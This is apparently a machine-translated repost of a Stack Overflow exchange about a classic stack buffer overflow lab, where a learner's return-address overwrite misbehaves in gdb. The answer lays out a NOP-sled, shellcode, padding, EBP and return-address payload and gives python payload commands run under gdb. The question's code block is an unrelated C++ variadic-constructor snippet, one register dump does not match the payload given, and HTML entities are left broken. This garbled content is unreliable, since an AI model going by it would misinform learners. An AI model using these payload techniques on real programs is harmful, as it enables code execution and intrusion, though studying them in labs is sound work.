模拟缓冲区溢出时返回地址出错

时间:2015-07-06 12:08:47

标签: c gdb buffer-overflow

我正在从以下website学习缓冲区溢出。

#include <cstdarg>

struct Super
{
    Super(int num, ...) : Super(num, (va_start(ap_, num), ap_)) { va_end(ap_); }
    Super(int num, va_list ap);

private:
    va_list ap_;
};

现在根据网站,0xb7e84775应该被返回地址替换。 (地址:0xbffff52c) 但是,我尝试运行,它在0xbffff524处寻找返回地址。

当我尝试在网站显示时使用NOP雪橇时,并将雪橇的返回地址放在预期的位置,它会运行,但它会出现以下错误。

(gdb)info registers
eax            0xbffff4c0   -1073744704
ecx            0xbffff4bf   -1073744705
edx            0x2  2
ebx            0xb7fccff4   -1208168460
esp            0xbffff4a0   0xbffff4a0
ebp            0xbffff528   0xbffff528
esi            0x8048450    134513744
edi            0x8048340    134513472
eip            0x804841f    0x804841f <main+43>
eflags         0x246    [ PF ZF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

(gdb) x/40x $esp
0xbffff4a0: 0xbffff4c0  0xbffff728  0x00000000  0xbffff570
0xbffff4b0: 0xb7fff670  0x08048249  0x00000000  0x00000000
0xbffff4c0: 0x00000041  0x00000000  0xb7fe3000  0x00000000
0xbffff4d0: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffff4e0: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffff4f0: 0x00000000  0x00000000  0xbffff711  0xb7edd04e
0xbffff500: 0xb7f8f329  0x08049ff4  0xbffff518  0x080482e8
0xbffff510: 0xb7fccff4  0x08049ff4  0xbffff538  0x08048469
0xbffff520: 0xb7ff07b0  0xbffff540  0xbffff598  0xb7e84775
0xbffff530: 0x08048450  0x08048340  0xbffff598  0xb7e84775

我不确定为什么它在$ ebp之前寻找返回地址,我不知道错误。

有人可以帮忙吗?如果需要其他任何东西,请告诉我。

1 个答案:

答案 0 :(得分:1)

它给了你“分段错误”,原因很简单,因为你放了这么多NOP雪橇,这就是为什么你用它覆盖了返回地址和程序崩溃的原因。

偏移量是112个字节,这意味着,接下来的4个字节将覆盖返回地址。只需在你的gdb中试试这个 -

run `python -c 'print "\x90" * 112 + "A" * 4'`

结果 -

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

但我想说的是什么。你有覆盖地址的地址,地址是NOP雪橇之间的某个地方。你为什么在$ ebp之前寻找地址?因为您想要跳转的地址位于它之前。

您的有效负载看起来像这样(我只是对它进行了一些修改,为了向您显示,EBP位于何处以及您必须使用地址之前的地址) -

[NOP sled] + [Shellcode] + [Padding] + [EBP] + [EIP/return address]
  • NOP雪橇 - &gt; 64字节,在它们之间的某个地方你会跳

  • Shellcode - &gt; 32字节,用于获取shell

  • 填充 - &gt; 8个字节,名称讲述所有

  • EBP - &gt; 4个字节,我们用一些值覆盖EBP,以获得更好的效果 理解..现在你可以看到,它在我们之前放置了4个字节 EIP /返回地址,但是我们想要跳转的地址是 几乎位于堆栈顶部..否则EBP =底部 实际框架
  • EIP /返回地址 - &gt; 4个字节,在NOP之间的某个点

如果您需要(为了更好地理解),请在您的gdb中进行模拟。

run `python -c 'print "\x90" * 64 + "B" * 32 + "A" * 12 + "\xef\xbe\xad\xde" + "\x50\xf4\xff\xbf"'`

&#34; B&#34; - 模拟shellcode

&#34; \ XEF \ XBE \ XAD \ XDE&#34; = deadbeef将覆盖EBP

(gdb) i r
eax            0x6  6    
ecx            0xb7fda000   -1208115200    
edx            0xb7fbc898   -1208235880    
ebx            0xb7fbb000   -1208242176    
esp            0xbfffef90   0xbfffef90    
ebp            0xdeadbeef   0xdeadbeef    
esi            0x0  0    
edi            0x0  0    
eip            0x43434343   0x43434343    
...

以实际方式(使用shellcode),它将跳转到地址0xbffff450,向下滑动并执行您的shellcode,然后您将获得一个shell。